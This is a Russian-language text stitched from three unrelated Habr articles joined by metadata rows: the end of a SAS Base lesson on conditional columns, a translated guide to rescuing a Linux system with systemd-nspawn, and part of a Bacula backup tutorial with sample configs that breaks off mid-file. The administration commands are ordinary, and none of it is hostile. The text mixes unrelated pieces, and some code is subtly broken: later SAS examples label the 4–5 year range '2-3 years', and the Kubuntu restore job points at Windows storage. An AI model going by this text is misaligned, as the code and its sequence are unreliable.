Создать детализированный столбец можно разными способами, например, самый простой и очевидный вариант — использовать условную обработку. Её можно реализовать с помощью следующих операторов:
1. IF-THEN-ELSE
2. ELSE IF
3. SELECT-WHEN
На больших объемах данных эффективнее использовать последние два варианта.
```
data company1;
set work.company;
length Email $23;
Lead_Time=yrdif(Start_Date, End_Date, 'actual');
Cost=Budget-Travel_Expenses;
Email=cats(Manager_FirstName, '.',Manager_LastName, '@habr.com');
format Cost Travel_Expenses Budget dollar10.2 Lead_Time 3.1;
if Lead_Time<1 then detail='less than a year';
else if Lead_Time=>1 and Lead_Time<=2 then detail='1-2 years';
else if Lead_Time>2 and Lead_Time<=3 then detail='2-3 years';
else if Lead_Time>3 and Lead_Time<=4 then detail='3-4 years';
else if Lead_Time>4 and Lead_Time<=5 then detail='4-5 years';
else detail='above 5 years';
run;
```
Добавим условие, которое выбирает только те наблюдения, в которых значение переменной Detail не равно ‘above 5 years’. При использовании where в качестве фильтра будет возникать синтаксическая ошибка:
Оператор where не используется для вычисляемых столбцов. Для отбора нужных нам переменных необходим выборочный оператор IF. Он отменяет вывод наблюдения в создаваемый набор данных:
```
data company1;
set work.company;
length Email $23;
Lead_Time=yrdif(Start_Date, End_Date, 'actual');
Cost=Budget-Travel_Expenses;
Email=cats(Manager_FirstName, '.',Manager_LastName, '@habr.com');
format Cost Travel_Expenses Budget dollar10.2 Lead_Time 3.1;
if Lead_Time<1 then detail='less than a year';
else if Lead_Time=>1 and Lead_Time<=2 then detail='1-2 years';
else if Lead_Time>2 and Lead_Time<=3 then detail='2-3 years';
else if Lead_Time>3 and Lead_Time<=4 then detail='3-4 years';
else if Lead_Time>4 and Lead_Time<=5 then detail='2-3 years';
else detail='above 5 years';
if detail ne 'above 5 years';
run;
```
Обратите также внимание, что выборочный оператор IF требует арифметический оператор. Мы не можем написать, например, так:
```
if detail contains 'above 5 years';
```
В Log выведется ошибка:
Настраиваем набор данных SAS.
-----------------------------
В новом наборе данных SAS не должны присутствовать переменные Manager\_FirstName и Manager\_LastName. Данное требование реализуется с помощью параметра DROP, так же можно использовать оператор DROP.
```
data company1 (drop=Manager_FirstName Manager_LastName);
set work.company;
length Email $23;
Lead_Time=yrdif(Start_Date, End_Date, 'actual');
Cost=Budget-Travel_Expenses;
Email=cats(Manager_FirstName, '.',Manager_LastName, '@habr.com');
format Cost Travel_Expenses Budget dollar10.2 Lead_Time 3.1;
if Lead_Time<1 then detail='less than a year';
else if Lead_Time=>1 and Lead_Time<=2 then detail='1-2 years';
else if Lead_Time>2 and Lead_Time<=3 then detail='2-3 years';
else if Lead_Time>3 and Lead_Time<=4 then detail='3-4 years';
else if Lead_Time>4 and Lead_Time<=5 then detail='2-3 years';
else detail='above 5 years';
if detail ne 'above 5 years';
run;
```
Разбиваем созданный набор данных SAS на два по заданному условию
----------------------------------------------------------------
На одном шаге DATA можно создать несколько наборов данных SAS. Создадим для каждой страны отдельный набор данных.
Чтобы проверить, какие значения есть в столбце Country, можно, например, использовать процедуру [PROC FREQ](http://support.sas.com/documentation/cdl/en/procstat/66703/HTML/default/viewer.htm#procstat_freq_overview.htm).
```
proc freq data=company1;
table Country /nocum nopercent;
run;
```
Данный шаг считает, сколько раз то или иное значение из переменной Country встречается в указанном в параметре data= наборе данных SAS.
Результат выполнения данного шага будет следующим:
Итак, создадим два набора данных на одном шаге DATA, используя оператор OUTPUT и условную обработку:
```
data US AU;
set work.company1;
if Country='AU' then output AU;
if Country='US' then output US;
run;
```
Запустим код и посмотрим LOG:
Это кратко о чтении наборов данных SAS и их настройке. В следующей статье мы познакомимся с Вами с объединением наборов данных с помощью операторов MERGE и SET.
А в качестве P.S. напомню структуру наших уроков по SAS BASE:
Статьи, которые уже опубликованы:
1. [Основы программирования на SAS BASE. Урок 1.](https://habr.com/company/sas/blog/348168/)
2. [Основы программирования на SAS BASE. Урок 2. Доступ к данным](https://habr.com/company/sas/blog/349726/)
3. [Основы программирования на SAS BASE. Урок 3. Чтение текстовых файлов.](https://habr.com/company/sas/blog/354284/)
4. С четвертым уроком вы только что ознакомились.
В следующих статьях хочется осветить такие вопросы, как объединение таблиц в SAS Base (merge, set), условная обработка, циклы, функции SAS, создание пользовательских форматов, SAS Macro, PROC SQL.
Буду рада обратной связи в комментариях! Какие еще темы Вы хотели бы увидеть в статьях? | https://habr.com/ru/post/426765/ | null | ru | null |
# Как использовать systemd-nspawn для восстановления Linux-системы
***Перевод статьи подготовлен специально для студентов курса [«Администратор Linux»](https://otus.pw/cB8Q/).***
---
*Разбираемся со способностью **systemd** запускать контейнеры для восстановления корневой файловой системы поврежденной системы.
До тех пор пока будут существовать системы GNU/Linux, системным администраторам будет необходимо восстанавливаться после повреждения корневой файловой системы, случайных изменений конфигурации или других ситуаций, которые не дают системе загрузиться в «нормальное» состояние.*
Обычно дистрибутивы Linux предлагают одну или несколько опций меню во время загрузки (например, в меню GRUB), которые можно использовать для восстановления поврежденной системы; зачастую они загружают систему в однопользовательском режиме с отключением большинства системных служб. В худшем случае пользователь может изменить командную строку ядра в загрузчике, чтобы использовать стандартную оболочку в качестве процесса init (PID 1). Этот метод является наиболее сложным и чреват затруднениями, которые могут привести к потере времени и фрустрации, в то время как система нуждается в восстановлении.
Самое главное, что все эти методы предполагают, что у поврежденной системы есть какая-либо физическая консоль, но в эпоху облачных вычислений на это уже нельзя полагаться. Без физической консоли есть всего несколько вариантов (если они еще окажутся доступными), чтобы повлиять на процесс загрузки таким образом. Даже физические машины могут оказаться небольшими встроенными устройствами, которые не имеют простой в использовании консоли, а поиск подходящих кабелей и адаптеров последовательного порта и настройка эмулятора терминала, все для использования консоли на последовательном порту в условиях работы с чрезвычайной ситуацией, зачастую достаточно сложны.
Когда доступна другая система (той же архитектуры и в целом аналогичной конфигурации), общий способ упростить процесс восстановления заключается в извлечении запоминающих устройств из поврежденной системы и подключении их к рабочей системе в качестве вторичных устройств. В физических системах это обычно не вызывает затруднений, и большинство платформ облачных вычислений также могут это поддерживать, поскольку они позволяют смонтировать корневой том хранилища поврежденного инстанса в другом инстансе.
После того, как корневая файловая система подключена к другой системе, решение проблемы повреждения файловой системы осуществляется с помощью **fsck** и других инструментов. Устранение ошибок конфигурации, поврежденных пакетов или других проблем может быть более сложным, поскольку для них требуется монтировать файловую систему и находить и изменять правильные файлы конфигурации или базы данных.
### Использование systemd
До появления **[systemd](https://www.freedesktop.org/wiki/Software/systemd/)** способом исправления конфигурации на практике было редактирование файлов конфигурации с помощью текстового редактора. Поиск необходимых файлов и понимание их содержимого является отдельной задачей, которая выходит за рамки данной статьи.
Когда система GNU/Linux использует **systemd**, многие изменения конфигурации лучше всего выполнять с помощью инструментов, которые она предоставляет — например, для включения и отключения служб требуется создание или удаление символических ссылок в различных местах. Инструмент **systemctl** используется для внесения этих изменений, но для его использования требуется, чтобы экземпляр **systemd** работал и прослушивал запросы (по шине D-Bus). Когда корневая файловая система смонтирована как дополнительная файловая система на другом компьютере, работающий экземпляр systemd не может быть использован для внесения этих изменений.
Ручной запуск systemd целевой системы также нецелесообразен, поскольку он спроектирован как PID 1 процесс для управления всеми другими процессами, который может конфликтовать с уже запущенным экземпляром в системе, используемой для исправления.
К счастью, **systemd** имеет возможность запускать контейнеры — полностью инкапсулированные системы GNU/Linux с собственным PID 1 и средой, в которой используется различный функционал пространства имен, предлагаемый ядром Linux. В отличие от таких инструментов, как Docker и Rocket, **systemd** не требуется образ контейнера для запуска контейнера; он может запустить его с root-правами в любой точке существующей файловой системы. Это делается с помощью инструмента **systemd-nspawn**, который создаст необходимые пространства имен системы и запустит начальный процесс в контейнере, а затем предоставит консоль. В отличие от **chroot**, который изменяет только видимый корень файловой системы, этот тип контейнера будет иметь отдельное пространство имен файловой системы, подходящие файловые системы, смонтированные в **/dev**, **/run** и **/proc**, а также отдельное пространство имен процессов и IPC. Посетите [основной ресурс](https://www.freedesktop.org/software/systemd/man/systemd-nspawn.html) **systemd-nspawn**, чтобы узнать больше о его возможностях.
### Пример для демонстрации того, как это работает
В этом примере запоминающее устройство, содержащее корневую файловую систему поврежденной системы, подключено к работающей системе, где оно отображается как **/dev/vdc**. Имя устройства будет различаться в зависимости от количества существующих запоминающих устройств, типа устройства и метода, используемого для подключения его к системе. Корневая файловая система может использовать все устройство хранения или находиться в разделе внутри устройства; поскольку наиболее распространенная (простая) конфигурация помещает корневую файловую систему в первый раздел устройства, в этом примере будет использоваться **/dev/vdc1**. *Обязательно замените имя устройства в приведенных ниже командах на правильное имя устройства вашей системы*.
Поврежденная корневая файловая система также может быть более сложной, чем отдельная файловая система на устройстве; это может быть том в LVM или на наборе устройств, объединенных в RAID-массив. В этих случаях нужно выполнить необходимые шаги для создания и активации логического устройства, содержащего файловую систему, прежде чем оно будет доступно для монтирования. Опять же, эти шаги выходят за рамки этой статьи.
### Необходимые приготовления
Во-первых, убедитесь, что установлен инструмент systemd-nspawn — большинство дистрибутивов GNU/Linux не устанавливают его по умолчанию. Он предоставляется пакетом systemd-container в большинстве дистрибутивов, поэтому используйте менеджер пакетов вашего дистрибутива для его установки. Инструкции в этом примере были протестированы с использованием Debian 9, но должны работать аналогично в любом современном дистрибутиве GNU/Linux.
Для использования приведенных ниже команд почти наверняка потребуются root-права, поэтому вам нужно будет либо войти в систему как root, использовать sudo для получения оболочки с root-правами или добавить к каждой команде префикс sudo.
### Проверьте и смонтируйте файловую систему
Сначала используйте fsck для проверки структур и содержимого целевой файловой системы:
```
$ fsck /dev/vdc1
```
Если он обнаружит какие-либо проблемы с файловой системой, ответьте на вопросы соответствующим образом, чтобы исправить их. Если файловая система серьезно повреждена, она не подлежит восстановлению, и в этом случае вам придется искать другие способы извлечения ее содержимого.
Теперь создайте временный каталог и смонтируйте в него целевую файловую систему:
```
$ mkdir /tmp/target-rescue
$ mount /dev/vdc1 /tmp/target-rescue
```
Когда файловая система смонтирована, запустите контейнер с ней в качестве корневой файловой системы:
```
$ systemd-nspawn --directory /tmp/target-rescue --boot -- --unit rescue.target
```
Аргументы командной строки для запуска контейнера:
* **--directory /tmp/target-rescue** предоставляет путь к корневой файловой системе контейнера.
* **--boot** ищет подходящую программу инициализации в корневой файловой системе контейнера и запускает ее, передавая ей параметры из командной строки. В этом примере целевая система также использует **systemd** в качестве PID 1 процесса, поэтому остальные параметры предназначены для него. Если целевая система, которую вы восстанавливаете, использует какой-либо другой инструмент в качестве PID 1 процесса, вам необходимо соответствующим образом настроить параметры.
* — отделяет параметры для **systemd-nspawn** от тех, которые предназначены для PID 1 процесса контейнера.
* **--unit rescue.target** сообщает **systemd** в контейнере имя цели, которую он должен попытаться достичь в процессе загрузки. Чтобы упростить операции восстановления в целевой системе, загрузите ее в режиме «восстановления», а не в обычном многопользовательском режиме.
Если все пойдет хорошо, вы должны увидеть вывод, который выглядит примерно так:
```
Spawning container target-rescue on /tmp/target-rescue.
Press ^] three times within 1s to kill container.
systemd 232 running in system mode. (+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN)
Detected virtualization systemd-nspawn.
Detected architecture arm.
Welcome to Debian GNU/Linux 9 (Stretch)!
Set hostname to .
Failed to install release agent, ignoring: No such file or directory
[ OK ] Reached target Swap.
[ OK ] Listening on Journal Socket (/dev/log).
[ OK ] Started Dispatch Password Requests to Console Directory Watch.
[ OK ] Reached target Encrypted Volumes.
[ OK ] Created slice System Slice.
Mounting POSIX Message Queue File System...
[ OK ] Listening on Journal Socket.
Starting Set the console keyboard layout...
Starting Restore / save the current clock...
Starting Journal Service...
Starting Remount Root and Kernel File Systems...
[ OK ] Mounted POSIX Message Queue File System.
[ OK ] Started Journal Service.
[ OK ] Started Remount Root and Kernel File Systems.
Starting Flush Journal to Persistent Storage...
[ OK ] Started Restore / save the current clock.
[ OK ] Started Flush Journal to Persistent Storage.
[ OK ] Started Set the console keyboard layout.
[ OK ] Reached target Local File Systems (Pre).
[ OK ] Reached target Local File Systems.
Starting Create Volatile Files and Directories...
[ OK ] Started Create Volatile Files and Directories.
[ OK ] Reached target System Time Synchronized.
Starting Update UTMP about System Boot/Shutdown...
[ OK ] Started Update UTMP about System Boot/Shutdown.
[ OK ] Reached target System Initialization.
[ OK ] Started Rescue Shell.
[ OK ] Reached target Rescue Mode.
Starting Update UTMP about System Runlevel Changes...
[ OK ] Started Update UTMP about System Runlevel Changes.
You are in rescue mode. After logging in, type "journalctl -xb" to view
system logs, "systemctl reboot" to reboot, "systemctl default" or ^D to
boot into default mode.
Give root password for maintenance
(or press Control-D to continue):
```
В этом выводе вы можете увидеть запуск **systemd** в качестве процесса init в контейнере и определение того, что он выполняется внутри контейнера, чтобы он мог соответствующим образом настроить свое поведение. Для приведения контейнера в рабочее состояние запускаются различные юнит-файлы, затем запрашивается root-пароль целевой системы. Вы можете ввести root-пароль здесь, если вы хотите запросить оболочку с root-правами, или вы можете нажать **Ctrl + D**, чтобы продолжить процесс запуска, который будет отображать обычное приглашение входа в консоль.
Когда вы выполните необходимые изменения в целевой системе, нажмите **Ctrl +]** три раза подряд; это завершит работу контейнера и вернет вас в исходную оболочку. Оттуда вы можете выполнить очистку, размонтировав файловую систему целевой системы и удалив временный каталог:
```
$ umount /tmp/target-rescue
$ rmdir /tmp/target-rescue
```
Вот и все! Теперь вы можете извлечь запоминающие устройства целевой системы и вернуть их обратно.
Идея использовать **systemd-nspawn** таким образом, особенно **параметр --boot**, возникла из [вопроса](https://unix.stackexchange.com/questions/457819/running-systemd-utilities-like-systemctl-under-an-nspawn), *опубликованного на StackExchange. Спасибо Shibumi и kirbyfan64sos за полезные ответы на этот вопрос!*
Больше ресурсов по Linux
------------------------
* [Что такое Linux](https://opensource.com/resources/what-is-linux?intcmp=70160000000h1jYAAQ&utm_source=intcallout&utm_campaign=linuxcontent)
* [Что такое контейнеры в Linux?](https://opensource.com/resources/what-are-linux-containers?intcmp=70160000000h1jYAAQ&utm_source=intcallout&utm_campaign=linuxcontent)
* [Шпаргалка по продвинутым командам Linux](https://developers.redhat.com/cheat-sheets/advanced-linux-commands/?intcmp=70160000000h1jYAAQ&utm_source=intcallout&utm_campaign=linuxcontent)
* [Шпаргалка по командам Linux](https://developers.redhat.com/promotions/linux-cheatsheet/?intcmp=70160000000h1jYAAQ&utm_source=intcallout&utm_campaign=linuxcontent)
* [Шпаргалка по SELinux](https://opensource.com/downloads/cheat-sheet-selinux?intcmp=70160000000h1jYAAQ&utm_source=intcallout&utm_campaign=linuxcontent)
* [Шпаргалка по сетям в Linux](https://opensource.com/downloads/cheat-sheet-networking?intcmp=70160000000h1jYAAQ&utm_source=intcallout&utm_campaign=linuxcontent)
* [Наши последние статьи о Linux](https://opensource.com/tags/linux?intcmp=70160000000h1jYAAQ&utm_source=intcallout&utm_campaign=linuxcontent) | https://habr.com/ru/post/470497/ | null | ru | null |
# Bacula: для тех кому надо по-быстрому и в картинках
Доброго времени суток всем тем, кто собирается делать Backup'ы постоянно.
В этом посте я попытаюсь облегчить жизнь тем, кто пробует познакомится с этой системой. Ничего сверхъестественного я не расскажу, просто добавлю то, что мне бы самому пригодилось. За основу взят отменно написанный [пост](http://habrahabr.ru/post/135291/), так что переписывать и копировать нет смысла.
И так, открываем статью, изучаем, понимаем что в голове каша и открываем схемы и вперед! Схемы получились большие, потому что в них указаны все параметры из выше указанной статьи. Вам останется вбить в схему свои данные, проследить по стрелкам зависимости (все что отмечено любым видом стрелочек надо проверить/заменить), ну и скопировать текст в свои конфиги. Одинаковые блоки копировать много раз не надо, если такой блок есть его просто оставляем (ну мало ли, вдруг кто не понял)!
Все в схемах и картинках, для простоты потребления информации. Надеюсь это облегчит вам жизнь!
**Предыстория или как я перешел на сторону админов которые регулярно делают backup'ы**Июнь месяц, жена получила водительские права и закрыла сессию, и надо ехать забирать ее с ребенком из Пензенской губернии (живем в Москве). Я взял первый двух недельный отпуск за последние 5 лет жизни, скопировал все бухгалтерские базы на NAS, сделал резервный архив с почтой Zimbra и положил на второй NAS и с чистой душой поехал к жене.
День пятницы не предвещал ни каких событий, но в 5 вечера звонит коллега и говорит что почта не пашет. Тонкие нотки волнения пробежались по мне, потому что подключится к серверам было проблематично — я в глухом лесу в «секретном» военном городке! Я за 3G модем — а он глючит и отказывается подключатся. Я за телефон — только EDGE. И тут я замечаю, что ноут сообщил о WIFI сетях — самое смешное есть несколько без пароля. Ну кому еще придет в голову паролить WIFI в глухом лесу. Дальше веселее — первый же тест говорит что это 10мб/с до Пензы. Но счастье было не полным: подключившись к компьютеру я понимаю что админка VMWare жестко тупит, потом вообще выдала, что подключится не может ни к одной виртуалке на одном из серверов. Отправил сервер в перезагрузку из которой он так и не вышел. Прошу коллегу перегрузит сервер жестко и за одно подключить монитор. Через пару минут коллега перезванивает и говорит что сервер не может найти операционку и какие то 2 лампочки горят на передней панели. Да те самые лампочки которые намекнули, что меня ждет быстрое возвращение в Москву для воскрешение сервера.
Вечером перед выездом меня покусали пчелы опухла морда лица и затек глаз, по этому пришлось ехать пассажиром. Но новоиспеченный водитель отлично справилась с дорогой и уже через день я был на работе.
Страхи подтвердились — упали 2 HDD из 8 в Raid 50. Понятно что на том серваке я потерял все. Я полез на NAS где лежал архив с почты — но NAS оказался не в сети! Я полез под потолок (там хранятся NAS) и притащил его к себе, а он с заводскими настройками. Что произошло не знаю, но он сбросился и отформатировал HDD. Почтовик был утерян окончательно. Пока я ждал гарантийные HDD воскрешал все на втором сервер. Но с тех пор я решил, что системой резервирования надо заняться по полной программе. Меня спасло то что мои пользователи используют почтовые клиенты, из которых была воскрешена вся переписка. Но это долго муторно и не приятно. Теперь я отношусь к тем, кто уже делает backup'ы централизованно.
Как итог: raid теперь 51 и HDD про запас лежат. За полгода в 2х серверах я потерял еще 6 HDD. Причины так и не ясны. HP тоже не смогли сказать с чем это связано.
[](http://alpha.hstor.org/files/dcc/3c6/b52/dcc3c6b52abd468fb52dd5200a0479e5.jpg)
[Схема для клиента Kubuntu в формате odg](https://drive.google.com/file/d/0B21LghPmkHwbYk9XVWlEcDdITjA/edit?usp=sharing)
[](http://habrastorage.org/files/dcc/3c6/b52/dcc3c6b52abd468fb52dd5200a0479e5.jpg)
[Схема для клиента Windows в формате odg](https://drive.google.com/file/d/0B21LghPmkHwbaXZBOXlZSXpUbU0/edit?usp=sharing)
[](http://habrastorage.org/files/626/624/987/626624987cb64627ad71b1b1b37c9af4.jpg)
[Схема для сервера Bacula в формате odg](https://drive.google.com/file/d/0B21LghPmkHwbbjhhXzFKNlMzYUk/edit?usp=sharing)
### Пояснения к схемам
1. Я использовал как хранилище NAS D'Link DNS 323, подмонтирован он в папку /media/, каждый диск NAS в свою папку /media/nfs\_linbackup\_v1/ и /media/nfs\_linbackup\_v2/.
2. В отличии от статьи в схеме иные названия серверов и пунктов. Я так и не смог разобраться в названиях из статьи (в принципе по этой причине и появилась схема).
3. Выложены 3 схемы: для Linux, Windows и отдельно для сервера. Схема 3 (Schem\_center) является схемой настройки резервного копирования самого сервера и основана на дефолтных настройках из шаблонов. Я это не реализовывал за ненадобностью лично мне. Но если решили это делать, то просто добавляете в уже созданные файлы недостающие блоки кода.
Секция Director /etc/bacula/bacula-dir.conf
1. Center.domain.local — сервер резервных копий он же 192.168.1.100;
2. Пароль Director «Center.domain.local» — «Passdir\_1»;
3. Файл конфигурации для клиента kub-fd — @/etc/bacula/client-conf/client-dir-kubuntu.conf
Для клиента Kubuntu
Секция /etc/bacula/client-conf/client-dir-kubuntu.conf
1. kub-fd — клиент он же 192.168.1.20 (ОС Kubuntu 13.10);
2. Пароль клиента «PassClient\_3»;
3. Имя хранилища — «Kubunt-nfs» (используется в задании для общего описания хранилища и указания на устройства хранения самих данных);
4. Имя «девайса» — «KubFileStorage» (используется как ссылка на конкретное физическое устройство хранения в файле /etc/bacula/bacula-sd.conf);
5. Имя File-set — «KubFileSet» (описывает то, что именно мы будем копировать или исключать из копирования);
6. Имя пула — «poolkubnfs» (описывает тип пула, какого размера должны быть базы бэкапов и сколько их хранить).
7. Имя планировщика (он же шедулер ) — «KubDiff» (устанавливает расписание и тип выполняемой операции т. е. полная по субботам, дифференциальная по всем остальным дням);
Секция /etc/bacula/bacula-sd.conf
1. Имя хранилища сервер — «center-sd»
2. Адрес сервера на котором запущен сервис STORAGE — SDAddress = 192.168.1.100
3. Ссылка на файл конфигурации клиента KubFileStorage @/etc/bacula/client-conf/client-sd-kubuntu.conf
Для клиента WinSrv cекция /etc/bacula/client-conf/client-dir-winsrv.conf
1. winsrv-fd — клиент он же 192.168.1.40 (ОС WinServ2003)
Все остальные пояснения в тексте комментариев.
**То что получилось: содержимое конфигурационных файлов****bacula-dir.conf**
```
Director {
Name = center.domain.local-dir
# какой порт слушать, у нас default
DIRport = 9101
# путь к скрипту, где лежат sql запросы для работы
# с Bacula Catalog(mysql database)
QueryFile = "/etc/bacula/scripts/query.sql"
# здесь хранятся статус файлы демона
WorkingDirectory = "/var/lib/bacula"
# pid файл демона
PidDirectory = "/var/run/bacula"
# сколько заданий может запускаться одновременно
Maximum Concurrent Jobs = 1
# пароль для доступа в BC и управления демонами
Password = "Passdir_1"
# куда слать mail'ы, описано в ресурсе Messages
Messages = Daemon
# на какой адрес биндится процессу
DirAddress = 192.168.1.100
}
Messages {
# это имя прописано в ресурсе Director
Name = Daemon
# команда для отправки email
mailcommand = "/usr/sbin/bsmtp -h localhost -f \"\(Bacula\) \<%r\>\" -s \"Bacula daemon message\" %r"
# шлем все на майл админам(root алиас на admins@domain.ru)
# высылаются только алярмы, ероры и прочую важность
mail = milo@mydomena.ru = alert,error,fatal,terminate, !skipped
# что выводить на консоль
console = all, !skipped, !saved
# что в лог
append = "/var/log/bacula/bacula.log" = all, !skipped
}
Console {
Name = center.domain.local-mon
Password = "Passdir_1"
CommandACL = status, .status
}
Messages {
Name = Standard
mailcommand = "/usr/sbin/bsmtp -h localhost -f \"\(Bacula\) \<%r\>\" -s \"Bacula: %t %e of %c %l\" %r"
operatorcommand = "/usr/sbin/bsmtp -h localhost -f \"\(Bacula\) \<%r\>\" -s \"Bacula: Intervention needed for %j\" %r"
mail = root = all, !skipped
operator = root = mount
console = all, !skipped, !saved
append = "/var/log/bacula/bacula.log" = all, !skipped
catalog = all
}
Catalog {
Name = MyCatalog
dbname = "bacula"; DB Address = ""; dbuser = "bacula"; dbpassword = "SQL_pass"
}
# Что бы основные файл конфигов не разрастались, удобнее и лучше
# делать на них ссылки - @ и далее путь к файлу,
# где лежит конфиг для конкретного клиента
@/etc/bacula/client-conf/client-dir-kubuntu.conf
@/etc/bacula/client-conf/client-dir-winsrv.conf
```
**bacula-sd.conf**
```
/etc/bacula/bacula-sd.conf (на стороне сервера)
Storage {
# имя для SD
Name = center-sd
# порт стандартный
SDPort = 9103
# рабочая директория процесса(для статус файлов)
WorkingDirectory = "/var/lib/bacula"
# pid будет здесь
Pid Directory = "/var/run/bacula"
# биндится на этом ip
SDAddress = 192.168.1.100
}
Director {
# имя DD, того самого, который был описан ранее
Name = center.domain.local-dir
# пароль
Password = "Passtor_2"
}
# Что бы основные файл конфигов не разрастались, удобнее и лучше
# делать на них ссылки - @ и далее путь к файлу где лежит конфиг для
# конкретного клиента
@/etc/bacula/client-conf/client-sd-kubuntu.conf
@/etc/bacula/client-conf/client-sd-winsrv.conf
```
**bacula-fd.conf**
```
Director {
Name = center.domain.local-dir
Password = "PassClient_01"
}
FileDaemon {
Name = center.domain.local-fd
FDport = 9102
WorkingDirectory = /var/lib/bacula
Pid Directory = /var/run/bacula
Maximum Concurrent Jobs = 20
FDAddress = 192.168.1.100 # адрес или имя клиента
}
Messages {
Name = Standard
director = center.domain.local-dir = all, !skipped, !restored
}
```
**bconsole.conf**
```
Director {
Name = center.domain.local-dir
DIRport = 9101
Address = 192.168.1.100
Password = "Passdir_1"
}
```
**client-dir-kubuntu.conf**
```
Client {
# имя
Name = kub-fd
# ip адрес клиента
Address = 192.168.1.20
# порт, который клиент слушает
FDPort = 9102
# имя mysql базы данных Bacula
Catalog = MyCatalog
# пароль для FD
Password = "PassClient_3"
# период в течении которого информация о файлах задания
# хранится в базе данных, по истечению периода эта
# информация удаляется(но не сами данные!!)
File Retention = 30 days
# тоже самое, только для самого задания
Job Retention = 2 months
# удалять записи из каталога(бд mysql) старше
# вышеуказанных значений
AutoPrune = yes
}
Storage {
# имя хранилища и пароль
Name = Kubunt-nfs
Password = "Passtor_2"
# fqdn имя сервера
Address = 192.168.1.100
# порт оставляем стандартный
SDPort = 9103
# имя девайса описанного в конфиге SD
Device = KubFileStorage
# у нас все пишется на софтовый рэйд в файлы собственного
# формата bacula(например
# /media/nfs_linbackup_v1/kubuntu/Vol0001)
Media Type = File
}
Schedule {
Name = "KubDiff"
Run = Level=Full on sat at 15:01
Run = Level=Differential on tue-fri at 15:02
}
Pool {
# имя пула, указывается в заданиях резервного копирования
Name = poolkubnfs
# тип пула, емнип этой версии только такой поддерживается
Pool Type = Backup
# повторно использовать тома (сначала пишет в 1-ый,
#потом в 2-ой, потом 3-й, 3-й закончился - снова в 1-й)
AutoPrune = yes
# удалять записи из bacula catalog (из mysql базы бакулы)
# старше нижеуказанных значений
Recycle = yes
# период в течении которого информация о томах(Voumes)
# хранится в базе данных, по истечению периода эта
# информация удаляется
Volume Retention = 5 days
Maximum Volume Bytes = 1G
Maximum Volumes = 3
LabelFormat = "Kubvol"
}
FileSet {
Name = "KubFileSet"
Include {
Options {
# разработчики яро рекомендуют юзать это опцию,
# создается сигнатура забекапленных файлов в md5
signature = MD5
}
# перечисляем то, что нужно бекапить
File = /var/backups/opt/
File = /etc/hosts
File = /etc/host.conf
File = /etc/network/interfaces
File = /etc/dnsmasq.conf
File = /etc/resolv.conf
File = /etc/ntp.conf
File = /home/rk/testbackup/
}
Exclude {
# а это бекапить нет нужды
File = /home/rk/testbackup/NTFS.dmg
}
}
Job {
# имя задания
Name = "BackupKubFull"
# тип(backup or restore)
Type = Backup
# уровень(полный, диференциальный или
# инкрементный)
Level = Full
# имя SD ресурса
Storage = Kubunt-nfs
# имя файл-сета(там рассказано что
# бекапить, а что не бекапить)
FileSet="KubFileSet"
# имя шедулера
Schedule = "KubDiff"
# имя пула(для разных клиентов разные пулы
# томов(volume) куда пишутся сами бекапы)
Pool = poolkubnfs
# имя клиента
Client=kub-fd
# в этом файле содержится информация о том,
# какие файлы должны будут востанавливаться,
#на каком вольюме находятся файлы, где конкретно
# они находятся - это очень важные файлы, их
# нужно бэкапить
Write Bootstrap = "/var/lib/bacula/%n.bsr"
# имя ресурса messages, который будет
# использоваться для этого задания
Messages = Standard
# скрипт запускающийся ДО выполнения задания
#(путь до скрипта - это путь НА КЛИЕНТЕ!)
ClientRunBeforeJob = "/root/sh/before_bg_db_backup.sh"
# скрипт запускающийся ПОСЛЕ выполнения задания
ClientRunAfterJob = "/root/sh/after_bg_db_backup.sh"
# УБРАТЬ ЕСЛИ НЕ ИСПОЛЬЗУЕТЕ СКРИПТЫ!!!
}
Job {
# Имя задачи для восстановления данных
Name = "RestoreKub"
Type = Restore
Client=kub-fd
FileSet="KubFileSet"
Storage = winsrv-nfs
Pool = poolkubnfs
Messages = Standard
# Папка куда будут складывать восстановленные
# данные на клиенте. И что не затереть новую версию
# файлов, лучше их восстанавливать в отдельную папку
Where = /home/rb/1/
}
```
**client-dir-WinSrv.conf**
```
Client {
# имя
Name = winsrv-fd
# ip адрес клиента
Address = 192.168.1.40
# порт, который клиент слушает
FDPort = 9102
# имя mysql базы данных Bacula
Catalog = MyCatalog
# пароль для FD
Password = "PassClient_3"
# период в течении которого информация о файлах задания
# хранится в базе данных, по истечению периода эта
# информация удаляется(но не сами данные!!)
File Retention = 30 days
# тоже самое, только для самого задания
Job Retention = 2 months
# удалять записи из каталога(бд mysql) старше
# вышеуказанных значений
AutoPrune = yes
}
Storage {
# имя хранилища и пароль
Name = winsrv-nfs
Password = "Passtor_2"
# fqdn имя сервера
Address = center.domain.local
# порт оставляем стандартный
SDPort = 9103
# имя девайса описанного в конфиге SD
Device = winsrvFileStorage
# у нас все пишется на NFS NAS в файлы собственного
# формата bacula(например /backup/bgbilling/Vol0001)
Media Type = File
}
Schedule {
Name = "WinDiff"
Run = Level=Full on sat at 00:02
Run = Level=Differential on tue-fri at 00:03
}
Pool {
# имя пула, указывается в заданиях резервного копирования
Name = poolwinsrvnfs
# тип пула, емнип этой версии только такой поддерживается
Pool Type = Backup
# повторно использовать тома (сначала пишет в 1-ый,
#потом в 2-ой, потом 3-й, 3-й закончился - снова в 1-й)
AutoPrune = yes
# удалять записи из bacula catalog (из mysql базы бакулы)
# старше нижеуказанных значений
Recycle = yes
# период в течении которого информация о томах(Voumes)
# хранится в базе данных, по истечению периода эта
# информация удаляется
Volume Retention = 5 days
Maximum Volume Bytes = 1G
Maximum Volumes = 3
LabelFormat = "winvol"
}
FileSet {
Name = "WinFileSet"
#VSS при востановлении дает ошибку, посему отключил
#Причина мне не ясна
Enable VSS = no
Include {
Options {
compression = GZIP
signature = MD5
portable=yes
noatime = yes
checkfilechanges = yes
Ignore Case = yes
wildfile = "*.avi"
wildfile = "*.wmv"
wildfile = "*.mp3"
wilddir = "System Volume Information"
exclude = yes
}
# перечисляем то, что нужно бекапить
File = "C:/Buh"
File = "C:/Supply"
File = "C:/Doc"
}
Exclude {
File = "C:/Doc/myphoto/"
}
}
Job {
# имя задания
Name = "BackupWinFull"
# тип(backup or restore)
Type = Backup
# уровень(полный, диференциальный или
# инкрементный)
Level = Full
# имя SD ресурса
Storage = winsrv-nfs
# имя файл-сета(там рассказано что
# бекапить, а что не бекапить)
FileSet="WinFileSet"
# имя шедулера
